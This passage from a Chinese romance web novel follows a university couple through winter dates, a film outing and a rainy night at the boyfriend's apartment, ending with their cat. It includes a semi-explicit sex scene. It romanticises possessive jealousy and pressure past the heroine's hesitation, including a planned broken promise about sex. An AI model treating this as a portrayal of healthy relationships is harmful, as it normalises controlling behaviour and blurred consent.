林今世淡淡笑了下，抬手将鞠言帽子上的雪花轻轻拍掉，把另一只手上拿着的热烘烘的甜豆浆和两个包子递给了她：“不知道你喜欢吃甜的还是咸的，所以买了一个奶黄，一个卤肉的。” 鞠言笑道：“两个我都喜欢。” 她把两个小雪人暂交给了林今世拿着，自己两手捧着那杯热豆浆，用来捂热被冻得通红的双手。 两人到临湖的长椅旁，湖面结了薄薄一层冰，有个调皮的男孩正在湖上踏冰，结果不小心把湖边的薄冰踏了个洞，半条腿都浸湿了。 椅子上也积着厚厚的雪，林今世一手托着两个雪人，用另一只手把雪扫到地上，脱下自己的外套铺在上面让鞠言坐。 鞠言知道他这件外套要十万多，忙想拾起来。 林今世制止她，无所谓地说道：“坐吧。” 他蹲下身把两个小雪人轻轻放到旁边的雪地上，以免它们融化。 两人并肩而坐，看着雪景吃完了早餐。 鞠言的脸已经冷空气冻红了，她学着吐烟的姿势呼出一口雪白的雾气，她仰起脸对林今世笑道：“我在抽烟。” 看着她的笑颜，林今世也情不自禁地浅浅一笑。他也学着她的样子，做了个比鞠言更娴熟的抽烟动作。 直玩到中午十二点，两人才预备一起去吃午餐，林今世说有点想吃面条，学校食堂的几家面馆都不合他的口味，因而他打算带鞠言去外面吃。 “我想先回一趟寝室。”鞠言说道。 林今世：“去干什么？” “把雪人放到阳台上的窗户外冰着，可以多保存一段时间。”鞠言有点不好意思，怕他觉得自己幼稚：“我不想它们那么快融化。” 林今世点了点头，鞠言正想往寝室走，林今世忽然叫住她： “不打算给我一个吗？” 鞠言怔了怔，将怀着小心捧着的两个雪人递向他，“你要哪个？” “想要你。”林今世不假思索。 鞠言有些脸红，小声道：“那还是要他们在一起吧，我陪着你好不好？” 林今世垂睫看了她一会儿，点头同意。 鞠言把两个雪人都拿回了寝室，她将它们并排放在窗户外面的积雪上，心满意足地盯着看了一会儿，这才跑下楼去找林今世。 回到林今世身旁，他伸手过来握住了她冻得红彤彤的手，林今世的手大，温暖瞬间覆盖住了她的整只手，因为之前太冷了，突如其来的热度让鞠言的手有些生痛。 感受到她手的寒冷，林今世蹙眉道：“把另一只也给我。” 鞠言听话地将另一只手也伸给他。 林今世用双手拢住她的双手，他的体温一点点沁进她的身体里。 直到鞠言的手完全被捂热，连指尖都不再冰凉了，林今世才握住她的手牵到了自己的口袋里。 走了一小段路，林今世忽然问：“你今天怎么不偎着我了？” 鞠言没在意：“冬天的衣服靠在上面太冷了。” 林今世：“……” 他忽然一抬手掀开了自己大衣的一侧，鞠言的眼前忽然一片黑，瞬间被那股好闻而温暖的气息包围。 她懵了好一会儿，才意识到自己被林今世裹住了，她此刻正紧贴着他穿着黑色衬衫的身体。 鞠言稍稍把眼前的衣服掀开了一点，雪天重现眼前。 林今世抬步继续走，鞠言怕摔倒了，犹豫了下，不好意思地抬起手轻轻环住了林今世的身体，薄薄的衬衣使她摸到了他的腹肌，鞠言怔了怔，不自觉又轻轻摸了摸。 林今世轻轻笑了一声，他垂下眼看着她： “你怎么这么流氓？” 鞠言脸一烫，倏地收回了手：“对不起。” 林今世微微挑了下眉，握住她的手，重新放回了自己腰上。 “别让我起反应就行。” 鞠言：“……”- 高档面馆的环境优美而洁净，由于气温低，店内弥漫着淡淡的热食散发出的雾气。 每个位置的间隔很宽敞，鞠言和林今世选了一张靠庭院景色的位置坐下，鞠言翻看着丰富的菜单： “请给我一份海鲜汤面。” 坐在对面的林今世抬睫瞥了她一眼：“你不吃葱油拌面吗？” “嗯。不过不是因为你在，是我今天更想吃海鲜面。”鞠言解释道。 林今世除了点了主食的面条之外，还点了四道菜，其中又有红烧虾。 “我们两个人吃不完这么多的，以后不要点那么多菜了，太浪费了。”鞠言不喜欢浪费食物，看着一桌菜只能打算把晚餐的量也在这顿解决。 林今世点的是虾仁拌面，他一边漫不经心地把面条里的虾仁都挑出来夹到她的碗里，一边漫漫应了一声：“知道了。” 鞠言忙抬手挡住自己的碗，脱口而出：“够了够了，你们怎么都……” 林今世的动作停下：“……谁？” 林今世最近总是在吃一些陈年老醋，而且上次也因为周孝明的事情吃醋吻了她许久不肯放，鞠言害怕再被他占有性地吻那么久，连忙拖鞠然出来挡枪： “我哥，他也是这样。” 她有些心虚，低着头不敢看他。 林今世：“……” 傍晚时分，鞠言带着被林今世亲麻的嘴走进寝室，她有些出神，不明白林今世为什么和以前一点都不一样了，一点点小事就能吃醋成这样。 看到鞠言与往日有些不同的嘴唇，童钰连忙走过来，她盯着她的嘴看，关心地问： “比比，你的嘴唇周围怎么那么红？” “啊？” 鞠言微愣，不等感情经验丰富的沈清梨和周靓雯看过来，连忙躲进了卫生间。 鞠言站在镜子前看着自己的嘴唇。 嘴唇周围被亲得泛了一圈红意，在她雪白的脸上尤为明显。 “……” 早该想到的。 童钰不放心地跟着走了进来，鞠言忙捂住嘴不让她再瞧见，胡乱编了个理由骗了过去。 夜晚躺在床上，鞠言无声祈求明天自己的嘴唇可以懂事的消肿。 …… 第二天早晨，看着镜子余红未消的唇，鞠言默默找出口罩戴上。 到了早自习教室，见鞠言还戴着脸上的口罩没摘，林今世道：“还戴着口罩干什么？” 鞠言轻声道：“明知故问。” 林今世眼睛里微微泛出了笑意：“怕被别人看见？” 一抹绯红瞬间飞上了鞠言的脸，她低下脸： “你还是快点睡觉吧。” 林今世：“……” 他又盯着她瞧了一会儿，才懒懒地趴到了桌上。 林今世伸手过来，牵住鞠言了的一只手，握着放到了自己的口袋里。 “怎么了？”鞠言不解其意地摸了摸他的手指。 林今世没回答，只是在口袋中与她十指相扣。 鞠言有些为难：“这样我写不了字了。” 林今世不满地瞥了她一眼，眼神好像在说：我还没这些高数题重要？ “不牵着我睡不着。” 鞠言：“……” 前几次不是睡得挺香的吗？ 今天没有抢到后排的位置，他们的位置在靠前门的第二排，周孝明就站在距离鞠言几米的前方点名。 喊到她的名字了，鞠言抬头应了声“到”，目光不经意间撞到了周孝明拿着点名册的手——白皙的指腹上有几道还没结痂的新伤口。 鞠言：“……” 周孝明指骨微屈，若无其事将伤口隐藏了。 鞠言收回目光，看了眼身旁的林今世，确保他睡熟后，她从聊天记录里找出周孝明的聊天框点进去： 【你再继续自残，下次我会告诉辅导员。】 隔了片刻。周孝明点完名回到了座位上，几秒后鞠言的手机便传来了消息提示，周孝明回复过来了一条语音，鞠言转换成了文字： 【你还对我有感情，对不对？】 鞠言微微蹙眉：【我说到做到。】 发完这条消息后，她点进周孝明的头像，将他设置成了消息免打扰。 第45章 结束了上午的课程,鞠言在学校附近的甜品店买了四只大份的黄油可颂和一杯热拿铁，打算去看看自己失恋又“失业”的哥哥。 可颂是刚烤好的，热烘烘的,让手提袋也温暖了起来。 鞠然从宿舍楼下来，他的状态看起来不错,除了眼眶旁还有一点儿流过泪的痕迹。 “干嘛戴着口罩？”他的目光停到鞠言的脸上。 鞠言莫名心虚，她垂下眼：“前几天吃火锅上火了,嘴唇上长了个包。” “哥看看。”鞠然伸手来摘她的口罩。 鞠言脸一热，连忙往后躲，“不严重,没什么事的。” 幸好鞠然没再坚持。 鞠言将手中的牛角包递给鞠然，看着他明显消瘦了的脸，她有些无奈：“你都变沧桑了。” 一提到这件事,鞠然顿时又泪汪汪起来，他把那袋热烘烘的牛角包抓在手上，含着泪道： “还是妹妹好。” 鞠言：“……” “对了,”她从 包包里拿出一个信封递给鞠然，这也是给你的。 “什么东西？” 鞠然当下便想把信封拆开,鞠言忙拦住他,“你回去再看吧，是个小礼物。” 鞠然感动地看着她：“比比,从前哥哥总捉弄你是哥哥不对,以后我一定改过自新！” 鞠言大度道：“没关系的，我没跟你计较。” 鞠然一把抱住了她，发出狗的呜咽声：“你是世界上最好的妹妹！” 鞠言：“……” 一回到寝室，鞠然便迫不及待地拆开了信封，把里面的卡片倒了出来——是一张他的照片,鼻子上用马克笔画了个圆润的圈，变成了猪鼻子。 鞠然：“……”前一秒的感动烟消云散，立刻拍了一张中指的照片，发送给鞠言- 接下来的几天，鞠言的学业和事业都比较忙，和林今世除了早晚自习还有午餐时间几乎都没有其余碰面的机会，直到了周末鞠言才终于有时间和他约会。 林今世一上车便想吻她，鞠言连忙推住他，她瞥了一眼安静驾驶着的司机，脸红道： “等下。” “……”林今世不开心地靠回座位，鞠言忙哄他，把手伸过去让他牵。 林今世与她十指相扣，脸上的不开心这才消散了一些。 电影票是提前买好的，刚到影院没多久便开始检票了。 鞠言和林今世随着人潮进入IMAX厅，落座了才想起忘记了买零食。 鞠言不由得有些遗憾，林今世瞥了她一眼，站起身： “要吃什么？” 鞠言拉住他的衣袖，“电影已经开始了，别去了。” “你讲给我听就行。” 片刻后林今世便回来了，看到他手中只握了一杯可乐，鞠言等他坐下后，压低声音问： “怎么只买了一杯，你不喝吗？” 林今世没说原因，只道：“喝完了我再去买。” 鞠言点点头，从他手里接过可乐和爆米花。 她吮了口可乐望向大屏幕，随后慢慢将可乐放到两人中间的杯托里，她才刚放下，林今世就拿起来吮了一口。 鞠言并未在意。 相同情况第二次发生，鞠言没在意。 相同情况第三次发生，鞠言开始有一点点在意了。 第N次循环。 鞠言：“……” 只要她喝过之后一放下，林今世便立刻拿起来吮了一口，而她不喝时，他便对那杯可乐完全没兴趣的模样，不仅如此，她还发觉他似乎根本不喝可乐，只是为了吮一下吸管。 ……以后怎么没发现林今世这么流氓。 电影剧情难得的很精彩，饰演男一号的钱淮真是新近最火的男演员之一，虽然年轻，演技却很不错，脸又是观众还没看腻的。 他在电影中所饰的□□成员在经历了一场打斗后，肩膀负伤，回到家中脱了上衣半裸着，扭过头给伤口擦药。 健美的好身材顿时引发了影院一阵极轻的低呼。 药水触及伤口，钱淮真紧皱的眉头微微颤抖起来，他喘了口气，薄唇紧咬，豆大的汗珠顺着皮肤滑落。 鞠言看的正认真，忽然眼前一黑。 “……” 她抬手去掰林今世遮住她眼睛的手。 林今世低声道：“不许看。” 鞠言听他的语气像是吃醋了，她只好慢慢将手放下，等这个片段过去。 等林今世的手从她眼前移开，钱淮真已经穿上衣服了，正在烤肉店喝闷酒。 鞠言无奈，忍不住笑起来，小声道：“林今世，你好幼稚。” 林今世：“……就是幼稚。” …… 看完电影出来，鞠言还在回味电影中精彩的情节，对于她兴致冲冲的讨论，林今世却显得兴味索然，只偶尔敷衍地回答她几句。 感觉到他有点闷闷不乐，鞠言正想问原因，林今世忽然开口道： “你觉得他长得好看？ “谁？”鞠言一时没有听懂。 “那个男的。” 鞠言更一头雾水：“嗯？” 林今世瞥了她一眼：“那个男演员。” “噢，”鞠言在脑海中回忆起钱淮真的脸，剑眉，目若朗星，是标准的中式帅哥。 “挺好看的。”她认真回答道。 林今世：“……” 他隔了一会儿才开口：“我觉得钱淮真长得挺丑的，身材也一般，名字还像道士。” 鞠言：“……你讨厌他？” “算不上讨厌。”林今世不看她，语气听起来有点像是生气，“你这个人就是这样，喜欢看男人的裸体。” 鞠言急道：“哪有！只是这么一次……” “……” 林今世默然，鞠言正想和他争论，林今世忽然一把将她抵到了墙上。 鞠言被他猝不及防的举动吓了一下，她仰起脸对上他长睫毛下的冷淡俊目。 林今世目光下视，盯着她的眼睛，鞠言被他看得有些慌乱，情不自禁地低下了脸。 林今世一只手扳起她的下巴，压的再近些，低声质问：“以前高中有一回男寝停电的时候，你不是也在那边看吗，”他停了下来，盯着她眼中神色的变化，几秒后，才慢慢说下去： “在看谁？” 没想到他那个时候竟然发现她了，鞠言尴尬得想死，轻声为自己当时的流氓行为道歉：“对不起” “看的是谁？”林今世不理她的道歉，眸色逐渐凝冷。 鞠言有些摸不清他到底因为什么生气了，她紧张地抿了下唇，挑了个最不容易出错的答案回答：“记不清了。” 林今世安静地盯着她，片刻后，他问：“是我吗？” “……”鞠言垂下眼，隔了会儿才心虚地轻轻“嗯”了声。 听到她的答案，林今世眼中的凝冷慢慢淡去，他微微挑唇一笑，终于放开鞠言，若无其事地握住她的手。 “……”鞠言被他十指相扣地牵着继续走，有些担心他下次又会因为哪些事情忽然吃醋生气……- 在市中心的一家牛肉面馆吃完饭，他们又去了清吧听歌，直玩到了11点多。预备回程的时候，外面忽然下起了滂沱大雨。 林今世脱下自己的外套挡在鞠言身上，拉着她往邻近的一家花店跑。 在雨檐下站定，他弯下腰，拨开一点遮在鞠言头上的衣服。 林今世湿淋的脸庞闯入她的眼中，他的五官被雨水濯洗过后愈发显得精雕细琢，好看得惊人。 鞠言被林今世牢牢保护在外套之下，除了刚开始时淋了些雨，头发潮了以外，并没有怎么淋湿，林今世倒是被淋得相当惨烈。 鞠言望着他的发尖上直坠的雨线，心疼地抬起手替他揩抹。 “我在这里有套公寓，先去那里吧。”林今世的声音伴随着檐下劈劈啪啪的雨声。 鞠言用袖子把他脸上的雨水擦干净：“是你之前说过的那套吗？” 林今世简短地“嗯。”了一声，闻到浓郁的雨味中夹杂着的淡淡花香，他回头望了一眼花店： “想要花吗？” 鞠言也顺着他的目光望向了背后那家花店里那些美丽的花：雪白的茉莉花、浅紫的绣球、浅绿的洋桔梗、可爱的粉色洋甘菊、明亮的橙红玫瑰…… “嗯。”她转回脸冲林今世点点头，眼睛洁净明亮。 …… “好漂亮。” 鞠言垂睫看着怀中那一大束新鲜的蓝色风铃花，幸福地说。 林今世看着她，抱着花束的女孩比她怀抱着的那束风铃花更美。 _ 林今世的这套高级公寓位于市中心，离清津大学有好些距离，平时上下学并不方便，所以他大多时间还是住在宿舍。 由于很少居住，房子里只有一些简单的家具，显得孤寂而空旷，没有生活的温度。 房子里没有花瓶，鞠言只能把抱着的一大束蓝色风铃花暂时放到了流理台的洗手台内。 由于是单人公寓， 只有一间浴室。林今世从衣帽间找了一套自己之前留在这里的睡衣递给鞠言： “你先去洗澡。” 鞠言摇了摇头：“你先洗吧，你比我淋得湿。” 林今世正想拒绝，忽然想到了什么，看向她： “要一起洗么？” 他的眼神不像是开玩笑，鞠言怔了下，脸颊一秒涨红，不敢再和他推脱，丢下一句：“我会洗很快的！”便一阵风似的跑进了浴室，并且迅速将门锁上。 林今世：“……” 就算隔了门，但知道林今世就在外面，鞠言也还是很不好意思，尽量轻手轻脚的。 衣服是一套的，但是林今世的睡衣套在她身上就已经及膝了，他的裤子她根本不能穿。 鞠言慢吞吞地走出去，一只手捏拢领口，以免宽松的睡衣往肩膀下滑。 林今世正坐在地毯上喝从冰箱里拿出来的啤酒，目光在她身上停住。 鞠言被他看的有些紧张，边走边习惯性地轻轻将脸颊边的湿发向后捋，注意到他面前的茶几上放了一杯散发着氤氲的热水，她忙轻声转移他的注意力： “这是给我的吗？” 林今世轻轻“嗯”了一声。 “谢谢。”鞠言双手握着水杯，屈起腿坐在沙发上：“你也别喝冰的了，对胃不好。” 林今世听话地把手里没喝完的冰啤酒丢到了垃圾桶里。 鞠言：“你快去洗吧，不然等下感冒了。” 林今世点了下头，起身朝浴室走。 听着浴室方向传来的水流声，鞠言莫名想起了高中时在阳台偷看他洗澡的那一次，她不禁有些脸红，走到落地窗边避开那水流声。 鞠言将窗推开了一扇，湿润的夜风轻拂着她微微发烫的脸颊，在都市里代替星星的是林立的高楼大厦亮起的万盏明灯。 她低脸俯瞰着一辆辆在环路上行驶的迷你小车，市区晶亮的线形街道与公路有种独属于都市的绚烂奢丽。 过了一会儿，身后传来脚步声，鞠言下意识回过头。 林今世闲闲地用一只手擦着湿发，一边朝她走过来：“在看什么？” 他只披着一袭白浴袍，宽松的袍领隐约露出两侧饱满的胸肌，和性感的胸中线。 第46章 鞠言耳根发烫,倏地背过身：“你怎么不穿衣服？” 林今世轻轻挑了下眉：“我没露什么，你转过来吧。” 林今世的确没露什么，而且也算不上没穿衣服…… 鞠言缓了几秒,随后垂着眼慢慢回过身。 看着她还未褪红的耳根，林今世不禁失声而笑：“我是你男朋友,真的露了什么，又有什么关系呢。” 虽然已经交往一段时间了,但鞠言还没习惯他穿成这样出现在自己面前，仍旧垂着眼不敢朝他看。 林今世朝她走近过来，款款的脚步仿佛是踏在她的心脏上,鞠言慌张地迅速看了他一眼，见他的头发只是半干，忙道：“你头发怎么没吹干？不吹干会感冒的,我帮你去拿吹风机。” 她一说完就立刻越过林今世跑向了浴室，完全不给林今世拒绝的机会。 林今世：“……” 鞠言在雾气还没消散的浴室躲了好一会儿，等自己的脸红褪下去一点了,才拿着吹风机出去。 林今世已经坐到了沙发上，正垂眸看着手机,鞠言安静地走过去,把吹风机递给他。 林今世瞥了一眼：“懒得吹。” “……”鞠言无奈：“那我帮你吹吧。” 林今世就算坐下来了也仍是很高大，鞠言跪到他旁边的沙发上将吹风机打开,暖风唔嗡唔嗡往外涌着,她先伸手试了下温度，随后用手指轻柔地捋着他的发丝，另一只手在上方慢慢地来回轻移着吹风机。 白浴袍宽松的领子往两侧褪开了一大半，鞠言下视的目光不经意落到了林今世脖颈上戴着的一条银色项链上——项链的坠子嵌落在他的胸缝间，鞠言一愣,人迅速烧了起来，怕被林今世发现，她慌忙胡乱找了个话题转移自己注意力： “这，这套公寓怎么会买在这里，离学校挺远的。” 林今世没有回答，隔了片刻，才淡淡地说：“我爸只是履行一下义务。” 他之前的时候偶然跟鞠言提起过，自己的爸爸在外面有另外一个家，林今世现在这个妈妈也只是他的继母，他的亲生母亲和他父亲离婚后便出国了。 鞠言和林今世高中三年，从来见过他父母来学校看过他，从前听鞠然说起过，林今世的后妈有自己的孩子。 替他吹干头发，鞠言将吹风机放回去，她坐到林今世身旁，轻声问： “你阿姨她对你好吗？” “……”林今世缄默，片刻后，他低下头把自己左耳畔的头发撩起来，让鞠言可以更清晰的看清他的耳朵。 鞠言发觉他的耳根连接脸颊的地方有一道淡粉色的疤痕。 鞠言：“这是？……” “小时候我阿姨扯的。” 鞠言瞬间失语，隔了好一阵，她才轻声问：“很痛吧？” “记不太清楚了。” “……”鞠言的手指轻轻地触摸着那道伤疤，伤口造成那一刻的痛楚仿佛透过她的指尖传达到了她的心口。 看她闷闷不乐的，林今世问：“在想什么？” 鞠言收回手，将脸搁在膝上，闷声道：“在想，要是可以回到过去就好了，真想到那个时候去保护你。” 林今世的心被融化，他不由得一笑：“你那时候也还是小不点呢，怎么保护我。”他牵住鞠言的手，安慰她：“现在已经没事了。” 鞠言微点了下脸。 林今世浅笑着摁亮手机，用手指点了点被壁纸上的小鞠言的脸：“这位小朋友，是你要保护我吗？” 鞠言抿唇向他笑了笑，林今世经常来她家应该也有这个原因，她的家庭虽然有些重男轻女，但也算得上是一个温暖的家。 她侧过脸看着他：“虽然已经来不及了，但我可以帮你吹吹吗？” “……”林今世顿了顿，随后往右侧过头，将左耳对着她。 鞠言俯身过去，轻轻地对着疤痕的位置吹了吹。 即使知道没有用，她还是天真的希望那个时候的小林今世可以感受到。 一股淡淡的清香从她的睡衣之下飘散出来，不知是沐浴乳的香气还是她肌肤上的。 那酥痒的让林今世逐渐有种抑制不住的冲动，他蓦然侧过脸，嘴唇贴上她的唇。 呼吸相抵，第一次吻那么久，鞠言有些换不过气，林今世没有打算结束，只是停了下来，让她喘口气再继续。 林今世拥着她，他的黑色睡衣下是她匀称纤瘦的身体，他想变成这件睡衣。 林今世松开一只手，将自己的身上的浴袍脱了下来，那具鞠言曾经只隔窗见过的漂亮□□无所遮掩的呈现在她眼前： “今天害你没看到的，我补偿你。”他轻轻喘着气说。 鞠言怔怔地看了一会儿，伸手轻轻在林今世的腹肌上摸了摸，他灼热的体温使她触碰的手指倏然缩了回去。 林今世轻轻握住鞠言的手腕，让她的手停留在了自己的身体上，他再度吻了下来，缠绵了一阵后放开她，林今世低声询问道： “可以吗？” “什么？”鞠言被他吻得有些晕，一时没有懂他问得是什么，仰起脸懵懵地看着他。 林今世的指尖沿着她脸颊的轮廓慢慢游走到黑色睡衣的第一颗纽扣，轻轻地摩挲着。 感受到他与平时不同了的身体。 鞠言紧张地不敢看他，垂着眼小声道：“我好像感冒了，会传染给你的……” 林今世没回答，他一把将她横抱起来，手托在她光裸的大腿上，朝卧室的方向走，鞠言被他抱在怀里，脸颊贴在他赤裸的胸膛上，心跳快得要超速了。 林今世用脚轻推开卧室的门，将她放到床上，穿过柔软的布料，微热的掌心一点点贴到她温软的肌肤上。 他倾身压上来。 _ 公寓里没有那种东西，在软件上点的外送。 林今世把床头的两盏小夜灯点亮，不为照明。 等待的时间里，他不断吻她，随着衣着的褪去，鞠言能清晰感觉出他愈来愈汹涌的渴望。 她紧闭着眼完全不敢看他。 少女纤秀的身体在淡淡的灯光笼罩下像是渡上了一层月的柔光。 “把眼睛睁开。”林今世的语气带醋意，“看别的男人的时候你可是不是这样。” 鞠言紧闭的睫毛颤抖着，用力摇摇头。 林今世：“……” 她忽然感受到了他的修长骨感的手指，鞠言的身体一阵酥麻，不禁猛地睁开了眼睛。 林今世眯眼望着她，脸色像是醉酒的人。 她忙伸手下去抓他的手，林今世不慌不忙地微微动了下手指，鞠言嘤咛一声，身体立刻有些软了，他空出一只手握住怀中人的双手手腕不让她再捣乱。 分外清晰的感受到林今世手指的长度与形状，鞠言莫名想起以前看他打篮球比赛，他能够轻松地单手抓着篮球，漫不经心地用修长的五指灵活地玩着，只是此刻更沉迷而温柔。 白皙修长的中指与无名指闲闲地往后勾，手掌的筋脉随着动作若隐若现的跳动着。 才只是一会儿鞠言就有些受不了，可对林今世来说这样还远远不够，等待的时间仿佛格外的难熬，房间内的呼吸也愈发杂乱无章。 终于等来了门铃声，林今世披上浴袍出去。 …… 他的尺寸和力气都太大，鞠言疼得脸色苍白，咬着唇的牙齿颤抖着，林今世的唇轻轻吻着她的泪，耐心地安抚了好一阵，她才稍稍放松下来。 鞠言白皙的脸颊逐渐被汗水温润，林今世伸指将黏在她皮肤上的几缕湿漉的墨发轻轻拨开。 鞠言不敢和他对望，别过脸时鼻尖轻轻擦到了他撑在枕边的手臂，林今世空出手，捏住她玲珑沁红的脸转回来，强行让她看着自己。 他要吻她，鞠言一时忘记了启唇，被他稍稍使力捏开了嘴，林今世一边和她吻着，一边专注地寻着她的破绽。 场上只有她一个人为他发出喊声，只有她一个人是他的拉拉队，他的观众，他的战场。 林今世微微喘着气，胸口小幅度地起伏着，脸上的汗珠顺着下颏滑下来，落到鞠言的脸上。 林今世抬眸，求表扬地看向她湿濛的眼： “喊我一声好不好？” 鞠言颤声：“林今世……” “不是这个。” “今世……” “不对。” 鞠言含着泪光的眼睛无助地望着他。 “喊老公。” 鞠言早已难受的不行，忙轻声喊： “老公……” 投中。 窗外的雨声愈发激烈，鞠言浑身发酸，一下都不想动。林今世把一起买来的感冒药冲泡好，自己先喝了一口，确认不烫后才将鞠言抱起来，让她靠着自己把药喝了。 鞠言喝完了药，把杯子递给他，轻轻喘着气说：“你也记得喝。” 林今世摇了下头：“闻了药味就想吐。” “是甜的。” 林今世将杯子搁到床头柜上：“放心，我很少感冒的。” 他俯过身在她额上轻轻一吻，“睡吧。” 鞠言微微点了点头，她累极了，很快便靠在他的怀中睡了过去。 第二天的清晨，天色还有些黯淡，林今世就将鞠言从被窝抱到自己怀里。 他将她相碰的双膝分开，让她坐到自己的腿上。 鞠言还没有睡醒，迷迷糊糊地将脸埋到他的肩窝里，闷声问： “干什么？” “我还想要。” 玻璃窗外的雨还在下，林今世的手安抚似的轻抚着她柔顺的长发，直到鞠言都快昏倒了，他才答应她这是最后一次。 …… “林今世你个骗子！呜呜……” 有了喘息的间隙，鞠言立刻狠狠在他的肩上咬了一口，委屈的声音带着微微发颤的哭腔。 第47章 “咳咳咳……” 隔天的早自习,林今世咳嗽不断。 鞠言：“怎么这么严重？” 林今世：“没事……咳咳咳！” “肯定是感冒了。”鞠言将自己的保温杯递给他，“是热水，你喝点。” “我没事。”林今世摇了下头,接过保温杯搁回桌上。 “肯定是感冒了，骗我的报应……”鞠言小声道。 闻言,林今世侧头看她，鞠言的脸颊上蒙了一层红雾,见他看过来，她不好意思地瞪了他一眼。 林今世不觉嘴角轻挑，他俯身凑近她,低声问：“还在生气？” 鞠言的脸一下更烫了，连忙躲远了些，认真地点了点头。 林今世忍不住轻轻一笑,哄她：“别生气了，我都遭到惩罚了。” 鞠言：“活该！” 虽然林今世不承认自己是感冒了，但鞠言中午上完课后还是去学校的医务室买了感冒药来。 等林今世来接她一起去食堂时,鞠言把手里的袋子递给他，林今世一手接过,两指扯开袋口瞥了一眼里面是什么。 感觉到鞠言有伸手的动作,林今世立即配合地俯低腰，要她可以轻松触到他的脸。 林今世虽然个子高,脸却很小,鞠言两只手就可以整个捧住。 “要记得吃。”她柔声嘱咐道。 林今世的目光注视着她的眼睛，片刻后才声音低低地说： “我记性不好。” 鞠言知道他是故意耍赖，笑道：“那我提醒你。” “想要什么报酬？”林今世眼中透出几分满意，他俯下身凑近她。 鞠言感觉到他的嘴唇轻轻蹭过她的耳缘：“什么都可以。” 鞠言耳根发热，忙轻推开他：“你不要把感冒传染给我就好了。” 林今世忘记了自己还带着病菌,被她提醒，立刻退开了好一段距离。 鞠言被他可爱到了，忍不住笑出来。 她的笑让他也不由得浅笑起来，林今世微微眯起眼睛，声调低柔： “我的错，等好了一并补偿你。” “……”鞠言莫名有点害怕他说的补偿。 林今世的感冒比想象的严重，几天下来，咳得嗓子都有点哑了，但鞠言的早晚自习他还是一次都没有缺席。 看着没有精神却照旧来陪她上早自习的林今世，鞠言一阵心疼：“你回去宿舍休息吧，等身体好了再来陪我。” 林今世干脆地摇了摇头，声音透过白色口罩传出来：“跟你见面的时间本来就少，每天只有那么一会儿。” 鞠言：“……没那么夸张吧？” “有，感觉一眨眼就度过了。”林今世的声音有些低落。 虽然心里觉得这一次感冒是林今世活该，但看着他因为感冒迷糊的眼睛和干涩的嗓音，鞠言还是忍不住地心疼。 因而每天一到自习教室，鞠言第一件事便是从挎包里找出提前放好的感冒药，走到饮水台去接热水，给林今世冲感冒药。 林今世不爱喝药，她泡的，他才肯听话地喝完。 喝完了药，林今世伏在桌子上，一手揽住鞠言的肩膀，语气倦倦： “我打算买辆车，你喜欢什么牌子的？” 鞠言：“怎么忽然想买车？” 林今世神色自若：“这样去市中心就会方便许多。” 鞠言的脸瞬间有些烫，还未回答，他又道：“我们一起住好不好？” 鞠言不敢再看他，干脆将脸埋到肘弯里，摇了摇头：“还是住寝室方便……” 林今世看她：我想和你在一起，你不想和我一起吗？” 鞠言小声道：“想，但是……” 林今世的声音柔下去：“只一起住，不做别的。” 他牵住她的手，手指缓而轻地摩挲着她的手指，“我想和你有更多的相处时间，你不放心的话，我可以睡沙发。” 熟悉的动作使得鞠言的脸立刻烫了起来，她偏开泛红 的脸道：“我不信你，你是骗子。” “这回不骗你，”林今世脸上带了点淡笑：“到时候再把馄饨接过来。” 鞠言考虑了会儿，嘴角泛起了小梨涡，她轻轻反握住他的手指：“那就相信你一次。” 她轻软的嗓音，让林今世不觉回想起她昨夜被他抱在怀中随着他的节奏发出的喘息声。 林今世：“……”默默在心里决定要像上次那样当骗子。 今日的早自习鞠言放任自己不认真了一回。她拿林今世的手机看了好多“馄饨”的照片和视频。 馄饨滚圆的小猫脸，白胖的身体上有几块芝麻色的花纹，圆溜溜的眼睛，猫嘴两侧也是芝麻色，像是长了圆形的胡须。 看着视频中正叼着老鼠玩具敞着肚皮睡觉的小肥猫，鞠言满眼期待：“好想快点抱到它。” 林今世望着她的眼睛，忽然道：“我有事告诉你。” “嗯？” “我不出国了。” 林今世的语气一如既往的无波无澜。 鞠言仰起脸看他，眼中的神色像是没有听懂： “怎么这么突然，是有什么急事吗？” 下课的钢琴曲响起了，教室瞬间哄闹起来，人们一窝蜂地朝前后门涌去，唯有鞠言和林今世坐着没有动。 两人对视着，林今世的声音清晰的传到了她的耳朵里： “我想每天和你在一起。” 鞠言微怔，没想到是因为自己，忙道：“可我不想让你因为这个原因放弃去留学。” 林今世不出国的话，他们接下来的几年就不需要分离了，鞠言当然想一辈子都不和他分开，可她也不想因此去改变林今世的未来。 “本来就只是因为觉得清津没趣才打算出去的，”他的声调虽然仍有几分往日的闲淡，但却有种别样的认真蕴含其中： “但现在，没有你的地方我都不想去。” 鞠言的眼眶瞬间红了，不由得朝他扑过去，林今世配合地回应她的拥抱。 她用双臂环住他的脖子，将脸紧紧埋在他的肩膀上，后背感受得到恋人的手在温柔地抚摸着。 所有人都在离开，但林今世说了，会留在她的身边- 林今世的感冒持续了一个星期，终于有所好转，临近期末，鞠言和林今世各自都有复不完的习，除了早晚自习，见面的时候少得可怜。 偶尔空闲的时间里，鞠言选了许多她想在房子里想添置的用品，乐此不疲地一样样都发送给林今世看，林今世也会发各种不同车型过来让她一起挑选。 鞠言还买了好几样猫咪用品，打算到时候送给馄饨当作见面礼物。 几日后的傍晚，林今世约鞠言在学校公园见面。 在林今世脸上成为装饰品的口罩已经消失不见了。 鞠言：“怎么把口罩摘了？” “已经好了。”林今世把单肩挎着的猫包卸下来，一只圆脸猫正透过细网格好奇地朝外面张望。 鞠言惊喜道：“是馄饨吗？！” 没想到林今世提前把它接来了。 林今世点了下头，却有点不开心：“怎么看到它比我还高兴？” 鞠言笑道：“你怎么连它的醋都吃？” 林今世：“……” 鞠言迫不及待地解开拉链，将馄饨抱到怀里。 “馄饨宝宝，你好。”鞠言伸手轻轻地抚着它的脑袋。 胖胖的猫咪趴在她单薄的肩膀上，警惕地左右张望着校园的景色，确认四周安全后，它放松下来，开始用毛茸茸的脑袋用力蹭鞠言的脸。 鞠言耸高一侧肩膀，高兴地亲着馄饨的脑袋，馄饨却装模作样起来，故意撒娇地咬着她的肩膀，虽然它收力了，可尖尖的牙齿刺到还是有些痛。 林今世立刻轻轻打了它一下：“不许咬妈妈。” 鞠言微微有点脸红起来：“……” 鞠言只抱了它一会儿，手臂就开始发酸，只能把馄饨交递给林今世抱着。 林今世单手轻松地搂着馄饨，另一只手与鞠言十指相扣，一起漫步到湖边的长椅上坐下来。 